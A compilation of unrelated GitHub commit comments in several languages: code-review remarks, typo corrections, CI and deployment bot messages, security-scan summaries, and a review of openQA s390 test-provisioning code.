Add `executorService.shutdownNow()` call in `finally` block to prevent memory leaks.


Non-blocking IO isn't possible on regular files, so it needs a thread pool, either by using eio, UV or child processes (parallel).


Add <.idea/> row in .gitignore


actually fixes #20093


I see what you mean now. Well, this is something for me to think further then. As mentioned, I tried this approach already some time ago: https://github.com/liutaurasvilda/conways-gol/commit/e075197d0dc79bec6f6daf376a71354f2a7350d7
But I found to have state redundant for some reason. So it was Cell class with an inner enum State. Later replaced with Phase as State to me is closely related to on/of only. But then got rid of Phase too. Well, will think further what I can do.


well, it seems that it works :).

thank you !!


Trzymajmy się jednego języka. Preferowany angielski.


This had to be Closes #121


@AKalinich-Luxoft :+1:


Checkmarx scan results 12 Oct 2018 17:30 UTC +03:00

High
Medium
Low
Info

New
0
0
0
0

Recurrent
0
1
2
0

Fixed
0
0
0
0

 Open Viewer
Included commits

Commit ID	Owner

78dc3985bc87e23e46d8d22add0f2aac3f499a7f	@web-flow


1) Uninstall the previous BBCode and BCrypt libraries from Manage Nuget Packages
2) Install these instead:
![capture](https://user-images.githubusercontent.com/4167143/46875509-70438e00-ce6e-11e8-9db7-9d4be8435ccc.png)


I think most of the time, it will be OK. Having this as a path means this is inherently platform machine-dependent, and it is quite unlikely that the credential helper binary will be at the same location across machines (unless they use network mounted FS or so).


Hi! This is the friendly automated conda-forge-webservice.

I updated the Github team because of this commit.

- @dpryan79 was added to this feedstock maintenance team.

You should get push access to this feedstock and CI services.

Feel free to join the community [chat room](https://gitter.im/conda-forge/conda-forge.github.io).

NOTE: Please make sure to not push to the repository directly.
      Use branches in your fork for any changes and send a PR.
      More details [here](https://conda-forge.org/docs/conda-forge_gotchas.html#using-a-fork-vs-a-branch-when-updating-a-recipe)


Proponuję status ustawić tutaj na new. Albo jeszcze lepiej w modelu: https://docs.sqlalchemy.org/en/latest/core/defaults.html


You shouldn't throw from `onResolve`. It might be acceptable here, but generally isn't advisable, because it stops the event loop or must be handled in the global error handler.


Checkmarx scan results 12 Oct 2018 17:32 UTC +03:00

High
Medium
Low
Info

New
0
0
0
0

Recurrent
0
1
2
0

Fixed
0
0
0
0

 Open Viewer
Included commits

Commit ID	Owner

739ec5797beb3f66b715cb63c3b764a8be5bf917	@web-flow

a92e96bc186fb754be2ae5ebbf807b46821be932	@web-flow


Looks fantastic. Thank you, I will adapt this asap.


Successfully aliased the URL <https://rowrow-vfpzmpzvxl.now.sh> to the following aliases.

* https://rowrow.io
* https://www.rowrow.io


#This commit is only for testing purpose.
#In react-complete-guide project folder  ==> src folder ==> new folder with name 'Components', but later changed as 'components'(All are small, but still this change is not showing properly, showing the file paths as ---- '/src/Components/home.js')


> \<lizmat\> please leave comments at the commit or create an issue :-)

My only comment is `is hidden-from-USAGE` should be added to roast, if it's being documented.


????

Zwracasz tylko ostatnie badanie. Owszem wcześniej wszystkie wypisujesz ale chyba nie o to chodzi.

Razczej: `return session.query(Study).all()`


To samo co w `return_all`


https://asammdf.readthedocs.io/en/master/api.html#mdf4
Have a look at the _arta cu_ method of MDF4


I'm pretty sure you broke the plumes on the OAM and PBV. the old tiny plume is broken which is why Squad switched to using the ModuleFX version.


This will only work if parallel is used as file driver. If either eio or UV are installed, it won't wait for the writes to complete.


Aliasing was ignored due to a new commit existing for this branch, which will be aliased instead.


This is awesome


To jest do usunięcia. Zupełnie się nie zrozumieliśmy ...


"sub, will" -> "sub will" (I don't think the comma is needed)


That makes sense.


To też do usunięcia przy obecnym modelu pracy z obiekatmi Study.


I think the "getting" is not needed.


не лучшее решение - ручками "хардкодить" всю колоду
у нас есть 4 масти, 13 возможных вариантов "картинки" (от 2 до 10 и туз, король, дама, валет)
исходя из этих данных можно написать алгоритм, который будет составлять колоду
такое решение будет более верное с точки зрения подхода к программированию - нужно максимально перекладывать работу на машину и делать код удобным для изменений


"Minerva" is the name of the Athena in the manual, I think. Shouldn't the Castor 30 and OAM keep it in their descriptions?


Contains:
- Consumptions
- Ingredients
Needs to be merged in full project later.


Successfully aliased the URL <https://devlinks-bot-kkxwawsawe.now.sh> to the following alias.

* https://devlinks-bot.now.sh


Thank you! Where did the 40 ISP increase come from?


лучше добавить класс Карта, вместо использования хеша


still strange.


@saulpw there is an extraneous `@` here that makes this link 404.


классы Дилер и Юзер получились в общем-то ненужные
зачем они, если они совсем пустые?


"if give" -> "if you give"


dfgsd


Checkmarx scan results 12 Oct 2018 17:41 UTC +03:00

High
Medium
Low
Info

New
0
0
0
0

Recurrent
0
1
2
0

Fixed
0
0
0
0

 Open Viewer
Included commits

Commit ID	Owner

61fb0a9516a4b583c44c12d6b1bd8b37e4ef6c00	@web-flow

f03b14e828cb3f730c3bc69729120ed20a1a4aec	@web-flow


I really works but needs some testing against raw2dng results.


Now cannot deploy because one of the file in your app is larger than the allowed file size limit.
You can either [upgrade](https://zeit.co/account/plan) your plan or delete that file.


"achive" -> "achieve"


"parameter,  multiple" -> "parameter and multiple" maybe?


Created multidev environment [d8-digital-stlawu#pr-3](https://dashboard.pantheon.io/sites/9f185cec-9c0b-4fcb-972f-9a5f2f6ed252#pr-3).

[![Visit Site](https://raw.githubusercontent.com/pantheon-systems/ci-drops-8/0.1.0/data/img/visit-site-36.png)](https://pr-3-d8-digital-stlawu.pantheonsite.io/)


Right now this gives the following error on my system:
_../stx.rkt:51:67: T: bad syntax in: (T (array (unsyntax max-count) (unsyntax ty)))_

Looking at the `T` macro in _stx.rkt_, I think the relevant part is on lines 46-47:

```
[(_ ((~datum array) dim:nat elem))
  (syntax/loc stx (ArrT dim (T elem)))]
```

I'm not sure how to change this definition so that the `dim` and `elem` arguments can be specified at run-time through `unsyntax`. Changing `syntax/loc` to `quasisyntax/loc` doesn't help. I suspect that the `elem` argument may be to blame, as it is expected to be syntax which can be passed to the `T` macro for expansion. But `ty` cannot be such syntax, as it originates as a run-time argument to `specify-ringbuf`.

I'm confused as to how we can construct `specify-ringbuf` to accept the syntax we want, when it itself is not a macro.


Wow this is amazing.
This option exists since day 1. And I never noticed it didn't do anything.

(I should fix this...)


Dla dat użyj typu DateTime: https://docs.sqlalchemy.org/en/latest/core/type_basics.html#sqlalchemy.types.DateTime

Będzie oznaczało że daty przeczytane z DICOM należy przekonwertować do typu datetime.datetime jeśli są string-ami.


This is not functional code. You've managed to write procedural code, but with streams. You're essentially just incrementing a counter in a for-loop, so why use Stream API if a for-loop will do? If you want to do this with a functional approach do it like this:
```
worldMap.entrySet().stream().collect(
  collectingAndThen(
    groupingBy(
      entry -> entry.getKey().rowIndex(),
      mapping(
        entry -> entry.getValue().toString(),
        joining()
      )
    ),

    rowRepresentationsByIndex -> String.join("\n", rowRepresentationsByIndex.values())
  )
);
```
In general, avoid the use of `forEach` when you're transforming data from one form to another. It's a clear sign you're not using the Stream API as it was intended.


"in" -> "in the", or just remove "hash"


ibid.


# Specs execution successful
:scroll: [View logs](http://bamboo.comnull)
### Plans updated

Bamboo specs have been successfully imported and the following plans have been updated.

Project | Plan | Build
---|---|---
[Test](http://bamboo.com/browse/TEST) | [Comment test](http://bamboo.com/browse/TEST-CTEST)  | :white_check_mark: [\#1](http://bamboo.com/browse/TEST-CTEST-1)
[New project](http://bamboo.com/browse/NEW) | [Disabled plan](http://bamboo.com/browse/NEW-DISABLED) **disabled** | :white_check_mark: [\#1](http://bamboo.com/browse/NEW-DISABLED-1)

### Deployments updated

Bamboo specs have been successfully imported and the following deployment projects have been updated.

|Deployment project |
----|
[Deployment test](http://bamboo.com/deploy/viewDeploymentProjectVersions.action?id=2162689)|


Successfully aliased the URL <https://vital-ui-react-rdugbxdhfy.now.sh> to the following aliases.

* https://vital-ui-react.now.sh
* https://react.vitaluikit.com


how should a hybrid app like we have here wait for all the async stuff to complete?


Tak na prawdę zamień te wszystkie na return_* (oprócz return_all) na return_with_status który pobiera parametr status.

W ten sposób będzie można zrobić: `studies = Catalog.get_with_status(Status.new)`

Obecny kod i tak nie działa bo statusy są string-ami a powinny być Enum


"via" -> "via the"


This is a paragraph that i wrote as an example.


"You" -> "you"


My question is not about MayNarrow, which clearly makes sense, but about this waitWhat function that is used for signalling timeouts and some weird stuff within transfer functions in the Arinc/Osek code, possibly most usages there were commented out.


Fixes #29


"additional" -> "an additional"
"using" -> "using a"


DeepCode analyzed this commit and found no issues.


No ok. Ale powinno porównać czy wartość potwierdzenia jest poprawna.

- obsłużyć wyjątek kiedu user poda coś co nie jest liczbą
- sprawdzić że nie jest dłuższe od liczby elementów listy pobranej zgodnie z komentarzem na początku tej metody


still have the potentiality of wrongly become leader, even after it is no longer a candidate.


1 . A publishing tool for sharing


Sleepy zostawmy tylko w pętli. Pozostałe do usunięcia.


i spelled chain wrong


@maxammann you need to be running on the 0.57.3 to get this property.


Collect all promises in a (global) place and then call `wait(all($promises));`

To give the event loop a chance to make progress, you might want to introduce a periodic `wait(new Delayed(0));`, e.g. right after the call to `File\put()`.


Missing indentation?


Dodaj komentarze typu.

Tu następuje komunikacja z skanerem i sprawdzenie aktualnego statusu skanu PET. Przyjmujemy że skan został zakończony.

I tak samo w pozostałych ...


Right


Why were lines 527 and 529 of dhcpserver.c (#ifdef DHCPS_DEBUG) removed?  The udp_sendto result constantly prints to the serial console.


Created multidev environment [d8-digital-stlawu#pr-3](https://dashboard.pantheon.io/sites/9f185cec-9c0b-4fcb-972f-9a5f2f6ed252#pr-3).

[![Visit Site](https://raw.githubusercontent.com/pantheon-systems/ci-drops-8/0.1.0/data/img/visit-site-36.png)](https://pr-3-d8-digital-stlawu.pantheonsite.io/)


commit by Huy


@rotty3000 was this supposed to be merged?


Tu rezultat to wskaźnik pliku. Należałoby dodać jeszcze jakiś `data = rezultat.read())`


this is a commit comment


That is one silly typo. Thanks for catching it!


If it helps, `State` does not mean on or off. I'm surprised you feel this way, because especially in automata theory a system can be in one of MANY states. For instance, the Wikipedia article for [deterministic finite automatons](https://en.wikipedia.org/wiki/Deterministic_finite_automaton) shows a system with three states at the very top.


Raczej `return data`.

Zauważ że rezultat został już zamknięty więc nie jest za bardzo przydatny ...


Update after code review, thank you @xavierlepretre .


Please don't commit these. Only use them locally for debugging purposes. You don't want a library to muddle your stdout channel.

For instance, when slicing via the command line, CuraEngine will use stdout to output the g-code. These debug statements get put in the g-code then.


thanks! more coming.


No, I was just testing CI's failure rate because I was having a hard time figuring out what was my own issue and not... but this exercise failed because, well `test:relevant` just didn't find much for this little change like the full works would have.


Thanks for pointing that out @phoob ! Just released 3.0.271.1 with a fix for this.


важный недостаток решения состоит в том, что ты смешал в классе Мейн логику и интерфейс (инпуты и аутпуты), это очень не правильно

все путсы и гетсы (инпут / аутпут) должны быть в отдельном классе
интерфейс должен быть полностью отделен от логики


I'll include this in other PRs as required.


Nie zauważyłem tego. Raz powinnaś zapisać to w katalogu \ pliku który zawiera id zadania. Dwa dodać informację o tym plliku do bazy danych.


A tak w ogóle czym by był scan.txt?


класс логики (можно называть его контроллер, рантайм) должен общаться с интерфейсом примерно так:
```ruby
def some_action
  @interface.show_some_menu
  @interface.ask_some_question
  answer = @interface.receive_some_answer
  some_other_action(answer)
end
```


To nam chyba nie potrzebne. Raczej nie będzie trwało tak długo.


Created multidev environment [buildpoc#pr-1](https://dashboard.pantheon.io/sites/db1c5551-1c00-4de0-852d-d2ea789f437d#pr-1).

[![Visit Site](https://raw.githubusercontent.com/pantheon-systems/ci-drops-8/0.1.0/data/img/visit-site-36.png)](https://pr-1-buildpoc.pantheonsite.io/)


все `if...else`, `case...when`, практически все операции где нужно как-то перенаправлять рантайм, совершать подсчеты, проверять коллекции и т.п.  - все это должно быть в классе (классах) локики


@rotty3000 So does it need to be reverted from master? https://github.com/liferay/liferay-portal/commit/a8ae3b65bee7ec51278fac20bffddb8c91c911c5 (sorry, earlier reference was to the commit in your branch instead of the commit in upstream)


методы интерфейса:
- либо метод с `puts`
- либо метод с `gets`
- либо вызов метода другого интерфейса или своего метода
- может быть метод возвращающий какую-то строку или коллекцию строк для вывода

и по сути все... больше в этом классе не должно происходить ничего


oh hey. if it's already merged it's fine, I do need it eventually


To już pisałem. Wybór statusu przy tworzeniu badania powinien być ustawiony na niższym poziomie. Najlepiej w definicji kolumny w modelu klasy Status.


I didn't realize it had gotten merged, too many PRs yesterday...


I did try and use `state_groups` table, but there were some entries that weren't in there, or something. I forget exactly wtf was going on


please leave it, thanks


Also curious about this. This downgrade apparently broke the responsive container behaviour in one of our use-case (rapidly : width of charts not set at 100% when a PDF is generated).


related: https://github.com/spesmilo/electrum/issues/4768


this is a commit comment


# Specs execution successful
:scroll: [View logs](http://bamboo.comnull)
### Plans updated

Bamboo specs have been successfully imported and the following plans have been updated.

Project | Plan | Build
---|---|---
[Test](http://bamboo.com/browse/TEST) | [Comment test](http://bamboo.com/browse/TEST-CTEST)  | :white_check_mark: [\#1](http://bamboo.com/browse/TEST-CTEST-1)
[New project](http://bamboo.com/browse/NEW) | [Disabled plan](http://bamboo.com/browse/NEW-DISABLED) **disabled** | :white_check_mark: [\#1](http://bamboo.com/browse/NEW-DISABLED-1)

### Deployments updated

Bamboo specs have been successfully imported and the following deployment projects have been updated.

|Deployment project |
----|
[Deployment test](http://bamboo.com/deploy/viewDeploymentProjectVersions.action?id=2162689)|


Things look OK to me from the build, but it's still not showing 0.6 release notes on the stable docs, only on the latest docs. @codingjoe : I've added you to the readthedocs project. Feel free to take a look and see if you can figure out what's going wrong.


Thanks


не лучшее решение работать с классом, как с объектом
лучше создавать объекты класса и запускать их в оборот:
раунд закончился - создаем новую колоду, т.е. новый объект класса Колода


ok


能告诉下新版ios怎么下载语言包吗，


test


- Setup httpd with yum
- Wrote seperate configuration file for website in conf.d
- Wrote a wsgi file in the project folder
- recompiled mod_wsgi with python3.6 and installed it in modules


Created multidev environment [buildpoc#ci-19](https://dashboard.pantheon.io/sites/db1c5551-1c00-4de0-852d-d2ea789f437d#ci-19).

[![Visit Site](https://raw.githubusercontent.com/pantheon-systems/ci-drops-8/0.1.0/data/img/visit-site-36.png)](https://ci-19-buildpoc.pantheonsite.io/)


Oh. .  yes. . I probably need a ONE_PLY on this.  Will change if this does anything interesting.


не очень логично передавать игроку класс объект класса Банк


Hi Matthias,
this line can be changed as follows:
`              system("cd ${tcs_path}${testset}${tc} && rm -f ${testset}${tc}.tgz && tar -czf ${testset}${tc}.tgz ./*");`

This is necessary because not every of our testcases contains "s390" in its name, that is why we need to remove it from the code, otherwise some of the testcases won't run.

After that, the job execution parameters are as follows: **IBM_TESTSET='TOOL_s390_' IBM_TESTS='CHCHP,hyptop,ZIOMON,fcp,vmcp'**


form 里面为了不丢数据，会对 validateTrigger 非 onChange 的事件也进行监听。以保证组件如果在 onBlur 做了值的修改也不丢失。这个是合理的。只是如何取得这个 onBlur 的值有些问题。基本的组件诸如 Input、TextArea 因为拿的都是 target.value 是没什么问题。但是自定义的组件没有这种相似的取值的地方。导致 onChange 和 onBlur 没法用一样的方式获得值。
我的建议是作为 antd 相关的官方组件，onChange 如果第一个返回的是值，那 onBlur 返回的第一个也是值。就像现在 rc-select 做的一样。


с классом Банк лучше сделать примерно следующее:
- создавать объект класса Банк в Мейн  программ (у тебя этот класс нызвается БлекДжек)
- когда в Мейн программ доходит дело до финансовых операций - передавать необходимые объекты (видимо игроков) в методы класса Банк (либо передавать их туда уже при инстанциации)
к примеру
```ruby
# ./main_program.rb MainProgram / initialize
@bank = Bank.new
# or
@bank = Bank.new(@player, @dealer)
....
....
# ./main_program.rb MainProgram /  some method
@bank.make_bets(@player, @dealer)
# or
@bank.make_bets

....
# ./bank.rb Bank
def make_bets(dealer, player)
  dealer.give_money(BET)
  player.give_money(BET)
  @current_bank += BET * 2
  ...
end

def win(player)
  player.take_money(@current_bank)
  @current_bank = 0
end
```


This is a test project.


**Bootstrap Notify**
http://bootstrap-notify.remabledesigns.com/

😄


обрати внимание:
"магические цифры", которые у тебя в классе Банк во всех методах присутствуют, более правильно определить в константы


现在 rc-input-number 是 minor 修改了 onBlur 返回的值，应该不会对现有的代码有什么影响。可以在 antd minor 版本一起更新？


## Jenkins Build Summary

Built from [this commit](https://github.com/ximinez/rippled/commit/0c5a26da1b22842d5726fc964fc044fed6c0da5b)

Built at __20181012 - 15:16:05__

### Test Results

Build Type | Log | Result | Status
---------- | --- | ------ | ------
msvc.Debug | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2-2/16//artifact/msvc.Debug.txt) | 1074 cases, 0 failed, t: 541s | PASS :white_check_mark:
gcc.Release
-Dassert=ON,
MANUAL_TESTS=true | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2-2/16//artifact/gcc.Release_Dassert_ON_MANUAL_TESTS_true.txt) | 1101 cases, 0 failed, t: 6m8s | PASS :white_check_mark:
docs,
TARGET=docs | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2-2/16//artifact/docs_TARGET_docs.txt) | 1 cases, 0 failed, t: 0m1s | PASS :white_check_mark:
gcc.Debug
-Dcoverage=ON,
TARGET=coverage_report,
SKIP_TESTS=true | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2-2/16//artifact/gcc.Debug_Dcoverage_ON_TARGET_coverage_report_SKIP_TESTS_true.txt) | 1077 cases, 0 failed, t: 16m52s | PASS :white_check_mark:
msvc.Debug,
NINJA_BUILD=true | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2-2/16//artifact/msvc.Debug_NINJA_BUILD_true.txt) | 1074 cases, 0 failed, t: 559s | PASS :white_check_mark:
clang.Debug | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2-2/16//artifact/clang.Debug.txt) | 1077 cases, 0 failed, t: 3m10s | PASS :white_check_mark:
rpm | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2-2/16//artifact/rpm.txt) | 1077 cases, 0 failed, t: n/a | PASS :white_check_mark:
gcc.Debug | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2-2/16//artifact/gcc.Debug.txt) | 1077 cases, 0 failed, t: 3m29s | PASS :white_check_mark:
clang.Debug
-Dunity=OFF | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2-2/16//artifact/clang.Debug_Dunity_OFF.txt) | 1077 cases, 0 failed, t: 8m33s | PASS :white_check_mark:
clang.Release
-Dassert=ON | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2-2/16//artifact/clang.Release_Dassert_ON.txt) | 1077 cases, 0 failed, t: 5m42s | PASS :white_check_mark:
gcc.Debug
-Dunity=OFF | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2-2/16//artifact/gcc.Debug_Dunity_OFF.txt) | 1077 cases, 0 failed, t: 9m55s | PASS :white_check_mark:
msvc.Debug
-Dunity=OFF | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2-2/16//artifact/msvc.Debug_Dunity_OFF.txt) | 1074 cases, 0 failed, t: 1195s | PASS :white_check_mark:
gcc.Release
-Dassert=ON | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2-2/16//artifact/gcc.Release_Dassert_ON.txt) | 1077 cases, 0 failed, t: 6m5s | PASS :white_check_mark:
gcc.Debug
-Dstatic=OFF | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2-2/16//artifact/gcc.Debug_Dstatic_OFF.txt) | 1077 cases, 0 failed, t: 3m28s | PASS :white_check_mark:
msvc.Release | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2-2/16//artifact/msvc.Release.txt) | 1074 cases, 0 failed, t: 394s | PASS :white_check_mark:
gcc.Debug
-Dstatic=OFF -DBUILD_SHARED_LIBS=ON | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2-2/16//artifact/gcc.Debug_Dstatic_OFF_DBUILD_SHARED_LIBS_ON.txt) | 1077 cases, 0 failed, t: 3m23s | PASS :white_check_mark:
gcc.Debug,
NINJA_BUILD=true | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2-2/16//artifact/gcc.Debug_NINJA_BUILD_true.txt) | 1077 cases, 0 failed, t: 3m4s | PASS :white_check_mark:
clang.Debug
-Dunity=OFF -Dsan=address,
PARALLEL_TESTS=false,
DEBUGGER=false | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2-2/16//artifact/clang.Debug_Dunity_OFF_Dsan_address_PARALLEL_TESTS_false_DEBUGGER_false.txt) | 1077 cases, 0 failed, t: 8m52s | PASS :white_check_mark:
clang.Debug
-Dunity=OFF -Dsan=undefined,
PARALLEL_TESTS=false | [logfile](http://ci.ops.ripple.com/job/ed-rippled/job/nb-ppt2-2/16//artifact/clang.Debug_Dunity_OFF_Dsan_undefined_PARALLEL_TESTS_false.txt) | 1077 cases, 0 failed, t: 11m29s | PASS :white_check_mark:


by JayChan


For direct LTC Tests please adapt the throughput like we do for speculative LTC's, Thanks.


Here you can combine with coma


@eskatos I don't think it is a good idea to run use a `5.1` wrapper on the release branch. Can we use a `5.0` snapshot from `release` instead?


Oh.  yes. . I changed it to 300.  Thx.

On Fri, Oct 12, 2018 at 9:17 AM Günther Demetz <notifications@github.com>
wrote:

> For direct LTC Tests please adapt the throughput like we do for
> speculative LTC's, Thanks.
>
> —
> You are receiving this because you authored the thread.
> Reply to this email directly, view it on GitHub
> <https://github.com/protonspring/Stockfish/commit/5debc62a011af46898e9a17689cd11c258c88d46#commitcomment-30881423>,
> or mute the thread
> <https://github.com/notifications/unsubscribe-auth/AcVnSCLzU0YfftXMDqzCu2fKYRStVajtks5ukLKCgaJpZM4XZql4>
> .
>

--
Michael T. Whiteley
mobile: 801.707.6886


这样会对 `<InputNumber onBlur={...} />` 的已有写法造成 breaking change。

onBlur 和 onChange 参数保持一致恐怕目前是做不到了。况且也不只是一个 onBlur 的问题，理论上可能有一堆 onXxx 作为 validateTrigger。还是要想别的办法解决。


I tried with TEE tool both with simple pipe "|" and your version with "|&" and in both cases the exitcode of the script is overwritten by the "tee" exitcode which is "0"

I think it's better to use the line as it allows to preserve exitcode of the test script itself
`   assert_script_run ("./$script $scriptargs  >> $log_dir/$script.log 2>&1",  timeout => $timeout);`


@nosami then you need to upgrade this everytime Xamarin.Android upgrades its version number in the stable channel? :)


Need to delete


** I also write here just in case. **

Hello Darold, I've added the 4 lines of the commit to the files: /opt/squidanalyzer/SquidAnalyzer.pm and /opt/squidanalyzer/blib/lib/SquidAnalyzer.pm
Then I deleted the files index.html, SquidAnalyzer.current and the entire 2018 folder from /var/www/squidanalyzer
I ran again /usr/local/bin/squid-analyzer
When entering Users there are still present registers with IP or PC Name values of 0.

Is there something I did wrong? Any information you need I'm here.

P.S.: I made sure twice to copy the 4 lines in the correct order.


> Thankyou, goodjob.

your welcome sir..


wtf


- Niech cluster.pobieranie_danych_wejsciowych nazywa się cluster.send_input_data.
- Niech clusetr.rekonstruckja nazywa się cluster.register oraz niech ustawia Status.reco_registered
- Niech cluster.send_input_data będzie wykonywane po cluster.register oraz niech ustawia Status.reco_data_ready
- Niech po cluster.send_input_data będzie wykonywane cluster.start_reconstruction oraz niech ustawia Status.reco_queued

Oczywiście dla każdego statusu w pętli pojawi się elif


DeepCode analyzed this commit and found no issues.


A Linux script,  which will help you to open WhatsApp just after a typing a command  <whatsapp>


![screenshot_20181012_181754](https://user-images.githubusercontent.com/14346127/46878377-d2d76280-ce4b-11e8-8641-23d0c0621f34.jpg)
Look at the protocol specification.


Doh!  I don't know why we singled you out with that.  Thanks for catching it (and for the other fixes).


That's great, I will need this to release https://github.com/itadinanta/gfx-gtk


where is the rest of this program? and what does this output?


Deanonimizacja po get_output_data i może być razem z budowanie_koncowego_obrazu który powinien mieć nazwę angielską


Dodaj: elif badanie.status==Status.failed który wyśiwetli przez nową funkcję UI komunikat że badanie się nie powiodło.


great


I'll leave `title=` there, some people might also want to change it into "References" or so. And obviously I myself don't need this repo any longer :wink: but am happy to make small fixes every now and then.


Nie jestem pewien czy to nie powinno już być jako controller. Co sądzisz?


maybe we need a loop, in case the next is « art. add. après 2 », then « art. add. avant 3 »


Ah yeah, I have been doing this by hand, actually! Is nice.


@@ -1,6 +1,6 @@
{
  " nome " : " pulso-sms " ,
  " versão " : " v3.1. 1 " ,
  " version " : " v3.1. 2 " ,
  " description " : " Uma implementação de desktop nativa do Pulse " ,
  " main " : " main.js " ,
  " scripts " : {
@@ -44,7 +44,7 @@
    ]
  }
  " devDependencies " : {
    " electron " : " 3.0. 1 " ,
    " electron " : " 3.0. 3 " ,
    " construtor de elétrons " : " 20.28.4 "
  }
  " dependências " : {


Prześlij mi wydruk z tego co jest w tym pliku wlmRsp0009.dcm. Pomyślę może coś warto jeszcze tam dodać.


OK，那我发个 4.3.0 revert 掉。
目前能想到的是，`getValueFromEvent` 带上当前的 event type 让用户可以针对不同的 event arguments 做处理。而在 antd 里，form 再额外包一层来判断当前引入的 component 类型自动注入 `getValueFromEvent` 函数以避免这类 `validateTrigger: onBlur` 需要用户自己包的问题。不过缺点也很明显，对于 HOC 的 cover 不到。


In this variant,  $tc variable will be the list of all the tests. But each call of copy_testsuite function must be against only one testcase not all of them.

Previous approach with
`   my ($self, $tc) = @_;
`
seems more correct.

Here is how it's done in our working s390base.pm version:
```
    my ($self, $tc) = @_;
    select_console 'root-console';

    # fetch the testcase and common libraries from openQA server
    my $path    = data_url("s390x");
    my $script_path = "$path/$tc/$tc.tgz";
    assert_script_run "mkdir -p ./$tc/ && cd ./$tc/ && rm -f $tc.tgz";
    assert_script_run "wget $script_path";
    assert_script_run "tar -xf $tc.tgz";
    my $commonsh_path = "$path/lib/common.tgz";
    assert_script_run "mkdir -p lib && cd lib && rm -f common.tgz";
    assert_script_run "wget $commonsh_path";
    assert_script_run "tar -xf common.tgz";
    assert_script_run "cd ..";
    assert_script_run "chmod +x ./*.sh";

```

where $tc is passed to the **copy_testsuite** function in each call and it is in fact full testcase name like **TOOL_s390_hyptop**

 on openQA server the testcase and its tarball are in separate folder per each testcase, like:
/var/lib/openqa/share/tests/sle/data/s390x # ls TOOL_s390_hyptop/
TOOL_s390_hyptop.tgz  hyptop.sh


Brakuje kolumny która będzie zawierała ścieżkę do zapisanego pliku DICOM z opisem badania. Ten plik będziemy chcieli wysłać do skaner-a.